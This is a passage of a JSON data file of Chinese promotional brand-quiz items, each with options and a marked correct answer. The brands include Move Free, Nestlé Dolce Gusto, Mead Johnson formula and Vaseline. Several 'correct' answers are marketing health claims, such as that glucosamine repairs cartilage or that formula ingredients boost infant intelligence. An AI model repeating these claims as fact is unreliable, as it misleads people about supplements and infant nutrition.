04:48:45","status":"1"},{"questionId":"9101427428","questionIndex":"5","questionStem":"哪个是用索尼微单拍摄动物最得力的黑科技?","options":"[{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfqsHS4c5RLRQ6X-tomw\",\"optionDesc\":\"实时眼部对焦\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfq65RJ8zTrLT3swylfw\",\"optionDesc\":\"全新的侧翻转屏\"}]","questionToken":"IsUSx0BRiDoAua3isd8E_Sey_HFPCKRC28g81TprO--20-YSjVdZPmr_ld4jO_3tMP6jzn8Ap4Ho64cJ2RfiAwCGe76wng","correct":"{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"}","create_time":"27/1/2021 03:40:49","update_time":"27/1/2021 03:40:49","status":"1"},{"questionId":"9101427429","questionIndex":"4","questionStem":"氨糖软骨素的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoAuK20opcfqzaoaHfR54VR2NqI2Q\",\"optionDesc\":\"调节三高\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqtkEugaNdBu81Asxmw\",\"optionDesc\":\"强健心肌\"}]","questionToken":"IsUSx0BRiDoAuK3jsd8E_Tn5JIUwqzJWns7bEq8IpRKIVDxCKpIe2s3S9s11dCI1tDnMUn6wzZUYr2SiVst8ZI0I7Zw98A","correct":"{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 04:00:29","status":"1"},{"questionId":"9101427430","questionIndex":"2","questionStem":"Move Free是专注于哪方面健康的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsa20opcfquqHY01db0wNfJ_U\",\"optionDesc\":\"美容养颜\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqwv1ChURIt0oKIcN\",\"optionDesc\":\"免疫健康\"}]","questionToken":"IsUSx0BRiDoBsa3lsd8E-jw8uSc9PCiu_siwWMVZtZLT5xPbKEu-LZ-wv3Ult4_7MDemx5IlW1i-Ne1ed_3d885VlSftpg","correct":"{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101427431","questionIndex":"1","questionStem":"Move Free是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsK20opcfqkkZ-vyKW-aQDzpp\",\"optionDesc\":\"澳大利亚\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqxctYC25k6qjCeEl\",\"optionDesc\":\"英国\\t\"}]","questionToken":"IsUSx0BRiDoBsK3msd8E-h2KYQu81CnCHAodWxuGPAx1EwP8GL0MJ59GCGk2GJ-SYWTQ4HdInUsrPHUHDkERc4oDCsD_OQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"}","create_time":"27/1/2021 04:40:02","update_time":"27/1/2021 04:40:02","status":"1"},{"questionId":"9101427432","questionIndex":"4","questionStem":"Move Free的母品牌是?","options":"[{\"optionId\":\"IsUSx0BRiDoBs620opcfq-f3KKIsm59Lqg\",\"optionDesc\":\"益节\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqiwp7baWUxYwBg\",\"optionDesc\":\"迈拓\"}]","questionToken":"IsUSx0BRiDoBs63jsd8E-r9VuVlLUeQtTp48F7KFC_jenI18QcfwD0drliMIUjepfbwQepPLqU9B67o3WNEsVoq4oflJIg","correct":"{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"9101427433","questionIndex":"3","questionStem":"Move Free的母品牌有超过几年的历史?","options":"[{\"optionId\":\"IsUSx0BRiDoBsq20opcfq30PDkRTnWEu3WH2\",\"optionDesc\":\"70年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqoqW_l73jrdgKCKy\",\"optionDesc\":\"90年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}]","questionToken":"IsUSx0BRiDoBsq3ksd8E-g3MC22c3BbedumYYReAxKnCy2SovJS4pEPlq2Su9PE80a8HujKxNxj8Pnkq85Jc4zP9V8zhcQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 04:39:56","status":"1"},{"questionId":"9101427434","questionIndex":"5","questionStem":"雀巢的总部位于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfqhV5mTzZsSAB7WA\",\"optionDesc\":\"美国\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfq7pOmQTEvGY8pXk\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDoBta3isd8E-n9uFcnj4kKczzn0N_zy1r4iw80dOd2v5mAZxnVVqlb4IeQ-c5evvLPe0NN0H4FDlfEaAIPo1g","correct":"{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427435","questionIndex":"5","questionStem":"雀巢多趣酷思是专注于哪一种咖啡机的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBtK20opcfq8M1to28WTYHf7kMGw\",\"optionDesc\":\"半自动咖啡机\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqlDrBUXT5ErxLCMzEw\",\"optionDesc\":\"全自动咖啡机\"}]","questionToken":"IsUSx0BRiDoBtK3isd8E_YvxTRUmeBbIKEwpfUSFpfpaDqJ-ScZeeapOL6CZY65MZ43_0tFHv9BwZupVTnnnn9gzDwJHvg","correct":"{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"9101427436","questionIndex":"5","questionStem":"以下哪个型号不是雀巢多趣酷思的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoBt620opcfqpBJx_TXMuekrA\",\"optionDesc\":\"Genio\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqwKMg61lgVT8ug\",\"optionDesc\":\"MiniMe\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}]","questionToken":"IsUSx0BRiDoBt63isd8E_cyEUB_iWdG41tBs5Lbv9Z8oXe81Wfi6hs-Rzs741QaZybSuNBow3JH_IqOPJjTTzBOFm5crrQ","correct":"{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101427437","questionIndex":"3","questionStem":"雀巢多趣酷思店铺中,哪个系列的价格最高?","options":"[{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfq4bhy6kpsMJmZvjd\",\"optionDesc\":\"Esperta\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfqrW_9l_c2SVK4_8N\",\"optionDesc\":\"Eclipse\"}]","questionToken":"IsUSx0BRiDoBtq3ksd8E_RRDjtxVe1sg97Pos5Jelz_EpJecezINaIV8rvYEm69mXV75iPf80VBoMfF9dSTG-EaFGzaFmg","correct":"{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"9101427438","questionIndex":"2","questionStem":"雀巢多趣酷思店铺中,哪个系列属于新品?","options":"[{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfq5MgY1vHqqQWock6\",\"optionDesc\":\"Piccolo系列\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfqhElo_DWY9IMyN3q\",\"optionDesc\":\"Lumio系列\"}]","questionToken":"IsUSx0BRiDoBua3lsd8E_ZDTGMV7kQmCyTKrPhN386zM6orEG7W3KPG3ETeLDgNB6mlnCFaWSPX5Z1Bcd2NGkFYr_nGt6Q","correct":"{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"9101427440","questionIndex":"3","questionStem":"美赞臣核心成分HMO的功能是什么? ","options":"[{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfqg1RhdeHeOHLK7Ag\",\"optionDesc\":\"补充多种营养\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfq26lPvRf8zSZtxwh\",\"optionDesc\":\"点亮非凡脑力\"}]","questionToken":"IsUSx0BRiDoGsa3ksd8E_VZQTniFTn94G_7xl3mGealKHKedsiq9BOp33GjYbjsnuKmQ_AGteXTyyZWXLBvTrEvk5fFzQw","correct":"{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"9101427441","questionIndex":"3","questionStem":"蓝臻海外版中20倍乳铁蛋白的功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoGsK20opcfqpVA_sCkDzXKIUn_\",\"optionDesc\":\"滋养宝宝皮肤\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfq4InRPNQ42wVujUa\",\"optionDesc\":\"促进宝宝大脑发育\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}]","questionToken":"IsUSx0BRiDoGsK3ksd8E-hElcdkGxVRjISmMENVcP-i9PVFo67StHaA4LZ6kfAj0-jLsfyaCQAadGoCcn6gaNSShVM9jxg","correct":"{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"9101427442","questionIndex":"2","questionStem":"美赞臣被喻为新一代“脑黄金”的成分是?","options":"[{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfqr9e4MhxSVZYmztF\",\"optionDesc\":\"A2蛋白\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfq_NcSHYEpC8sQ4o4\",\"optionDesc\":\"HMO\"}]","questionToken":"IsUSx0BRiDoGs63lsd8E_R8C4UUSXunwngUlk812EZ772DbWGdL-QIor0FooBYcdG2G3mHoAeuvntGtHV34Lmp9UPA7J-Q","correct":"{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"}","create_time":"27/1/2021 04:43:51","update_time":"27/1/2021 04:43:51","status":"1"},{"questionId":"9101427443","questionIndex":"2","questionStem":"美赞臣成分DHA的主要功能是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoGsq20opcfq1IViY0MZ6711yg\",\"optionDesc\":\"助于骨骼发育\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqiF21Z3yh_NnFXI\",\"optionDesc\":\"助于肠道消化\"}]","questionToken":"IsUSx0BRiDoGsq3lsd8E-j5bhARTiFWqwGTOdRQSXqIsOtGaMNT9K3OcdrDVMLOvfH7tOrQFgvZ_MHTe3zkGqgjng0Fomw","correct":"{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"9101427444","questionIndex":"4","questionStem":"美赞臣的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGta20opcfqsyQJmf7s56ixF4\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfq4dmOwoZ6kff9qY\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}]","questionToken":"IsUSx0BRiDoGta3jsd8E_SMGBUEiS7reH-urPnqYIdbkPDBEQIboZDIqzA2376CfwrKsS39SIvzhZIBTvRK3Pj3Ao_1WxA","correct":"{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"9101427445","questionIndex":"5","questionStem":"美赞臣有5段奶粉吗?","options":"[{\"optionId\":\"IsUSx0BRiDoGtK20opcfqttSYwO9HPMbctU-\",\"optionDesc\":\"不知道\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfq0Wmzx4R5vM6Ldo7\",\"optionDesc\":\"没有\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}]","questionToken":"IsUSx0BRiDoGtK3isd8E_atZ4YX0luBfHGB1IhYVcpmVAVu5R9OYj55pw8Td-ffd3fYQgp5J7W7jFg9hioGvhu3qMcIuAw","correct":"{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}","create_time":"27/1/2021 04:51:40","update_time":"27/1/2021 04:51:40","status":"1"},{"questionId":"9101427446","questionIndex":"4","questionStem":"以下哪个奶粉是美赞臣品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoGt620opcfqnjGEAAZKF_9VTI\",\"optionDesc\":\"小安素\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfq5GA67jNOTxK89w\",\"optionDesc\":\"启赋\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}]","questionToken":"IsUSx0BRiDoGt63jsd8E-lO75bu0Mzc9OY0QrASiR63AX2ICzXSC2x_EYHaa_xGcsGhM7fGRZP9oNCktDZqe6LqPyf6YNg","correct":"{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}","create_time":"27/1/2021 04:44:14","update_time":"27/1/2021 04:44:14","status":"1"},{"questionId":"9101427447","questionIndex":"5","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqwF3O633wydgUWpH\",\"optionDesc\":\"上海\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqj5VAAQ25yqK0-j8\",\"optionDesc\":\"北京\"}]","questionToken":"IsUSx0BRiDoGtq3isd8E_Tzf75jOxW71nmg8GTJPS6NiYoTWkk2MIhtRUSNbiYgLtiS3vTbIV-Kans5UOF6gLVCYXv7GjA","correct":"{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"}","create_time":"27/1/2021 04:45:21","update_time":"27/1/2021 04:45:21","status":"1"},{"questionId":"9101427448","questionIndex":"3","questionStem":"美赞臣铂睿是进口于?","options":"[{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqvaZfnFbuD1fYnk\",\"optionDesc\":\"大不列颠\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqwhKZjpdsGW0BJY\",\"optionDesc\":\"加拿大\"}]","questionToken":"IsUSx0BRiDoGua3ksd8E_Vut7xWaO0LkskFmFVbCfgjnfhEzK499XeWE4Rfx4wCVtV-slh1Kvv77B2LaWUP9HBCIj0AjHg","correct":"{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"}","create_time":"27/1/2021 04:51:22","update_time":"27/1/2021 04:51:22","status":"1"},{"questionId":"9101427449","questionIndex":"2","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGuK20opcfqyRFM3SNh8_8Bl6E_Q\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqu8RvT4Ke_8JjkIDcw\",\"optionDesc\":\"黄白\"}]","questionToken":"IsUSx0BRiDoGuK3lsd8E-gNGEbSCz4Y71dMHhow9dYzigq1KPVydYcVJt12zwSNBXsTIh9enjYi06CRsvzLAWhboLu-2wg","correct":"{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427450","questionIndex":"3","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoHsa20opcfqu1ckAHQcPRgPFQ-jw\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfq-LnMwB1EYVq_vuxLA\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}]","questionToken":"IsUSx0BRiDoHsa3ksd8E-tiIwA2pkZrE60pqoapLzD3pXJQmg8kUJzch_VziluGFXMCxxEgDjkDKyE8mQU8e-xau9bt91w","correct":"{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}","create_time":"27/1/2021 04:43:49","update_time":"27/1/2021 04:43:49","status":"1"},{"questionId":"9101427451","questionIndex":"4","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"IsUSx0BRiDoHsK20opcfq7YAGwPukqOBzdU\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqtcqmtmz4dRpImE\",\"optionDesc\":\"手膜\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}]","questionToken":"IsUSx0BRiDoHsK3jsd8E_XPKQYevAVzR1x1KcSENZW2aaGP_Wi2o2hQ8LANXmBwlrPDuaaX__2-tkJb0y-ojuowpmr1ItA","correct":"{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427452","questionIndex":"1","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"IsUSx0BRiDoHs620opcfqzO75GefqF4MhfIR1A\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqgYai3g-OCgNjFVm0w\",\"optionDesc\":\"除皱纹\"}]","questionToken":"IsUSx0BRiDoHs63msd8E-lExyDTCHxdN2QZ9iygjlB7e-ysK3Q_zgiW2FB6ZBw6B3FH-qjWT1lQeyNEaEeiptecy4ryW8A","correct":"{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427453","questionIndex":"3","questionStem":"凡士林为哪家公司旗下的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoHsq20opcfqzHgcsGmSFOd1hhG\",\"optionDesc\":\"宝洁\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqi5WZd7SiTmPx1TC\",\"optionDesc\":\"欧莱雅\"}]","questionToken":"IsUSx0BRiDoHsq3ksd8E-gC-UxcDdeTdzAwAgu1n5a4-ZNy4QhWB9j-higFDpPo99aFmJ_cBEyHLFF_m71gySkYQ5QApdg","correct":"{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"9101427454","questionIndex":"2","questionStem":" 21金维他诞生于哪 一年?","options":"[{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfq1rIqypcmQ2TR48pRg\",\"optionDesc\":\"2000年\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfqnnzfPRxaK-N3XjVoQ\",\"optionDesc\":\"1921年\"}]","questionToken":"IsUSx0BRiDoHta3lsd8E_buSLcSIJsUuqj1O-4IYfmA0i3igLsq1mHwJu042yt0qUxuD0J9Qu5HJTmvAqiUfJydl6-xvSQ","correct":"{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"9101427456","questionIndex":"5","questionStem":"21金维他的logo颜色是哪几种颜色?","options":"[{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfq_rbXURjYRMX2GjI\",\"optionDesc\":\"红色+黑色+黄色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfqvyrCJaO0Dx9JtaS\",\"optionDesc\":\"红色+黄色+蓝色\"}]","questionToken":"IsUSx0BRiDoHt63isd8E_QY4gVyMTm09kZgUizD1hClIvsmnH1tm9Kh6-H42UVwNyPnOPzdie5Gac-ENBgbB5_i7ltexQA","correct":"{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427457","questionIndex":"5","questionStem":"21金维他有几种营养素?","options":"[{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfqgqdWOZqNlUyR1AzQw\",\"optionDesc\":\"8种\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfq6ZTloYwOZUh5CDmfw\",\"optionDesc\":\"12种\\t\"}]","questionToken":"IsUSx0BRiDoHtq3isd8E_VvcAL1_FkWrbEulRiJ8EosLIgYcuTUi3thcw-HvhwynfAJJUuFxh9OSlmr6EVO2Qamwzon1eQ","correct":"{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 04:44:59","status":"1"},{"questionId":"9101427458","questionIndex":"1","questionStem":"21金维他产品中赖氨酸的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfqrR0Jjb-PxKxARw4CA\",\"optionDesc\":\"养颜\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfq66XqC18_nTDu9l7tA\",\"optionDesc\":\"护眼\"}]","questionToken":"IsUSx0BRiDoHua3msd8E-lvnD7Xi2w1P0mgMfHZI1UfU3tMJTS5yUoJijLQ-BEd9uMdppAUNzUIYqfGO4KsG5u6FQXD55A","correct":"{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"9101427459","questionIndex":"2","questionStem":"21金维他适合哪类人补充?","options":"[{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfq3frAGjgS0zdRRKc\",\"optionDesc\":\"欧洲人\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfqmgurEBSPHUaH5Ph\",\"optionDesc\":\"澳洲人\"}]","questionToken":"IsUSx0BRiDoHuK3lsd8E_T1Eso5HPCD1LAt0o5qpFmrsBHp5tBIvodzLWPrEnRrKFA0NdCK9YMgYDwx-7YKSZb-u-j47AQ","correct":"{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"9101427460","questionIndex":"4","questionStem":"童年时光DHA胶囊别称叫什么?","options":"[{\"optionId\":\"IsUSx0BRiDoEsa20opcfqsn-Jkz0LOmXdEWtUQ\",\"optionDesc\":\"金豆豆\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfq7ceCnprNxVckGE5Bw\",\"optionDesc\":\"小豆豆\"}]","questionToken":"IsUSx0BRiDoEsa3jsd8E-hr6EW06KJ4lfP3NcnWBUfXGfI-HGFN1CmanzcluXFEHr-hxu5Mtp67tezeLNJzE5zBQDU5viw","correct":"{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"9101427461","questionIndex":"2","questionStem":"童年时光创始人是什么职业?","options":"[{\"optionId\":\"IsUSx0BRiDoEsK20opcfqopy4uBue8Ncu2Nn\",\"optionDesc\":\"营养师\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfq9ut0WCLNLdJqcGC\",\"optionDesc\":\"律师\\t\"}]","questionToken":"IsUSx0BRiDoEsK3lsd8E_UhjPFyE_3zTleRrBSgHUpCwZt_uuUtO4qiFRWPn_XrM4hkorCx2N7joKtIS-XMsE2w_dmF_wQ","correct":"{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 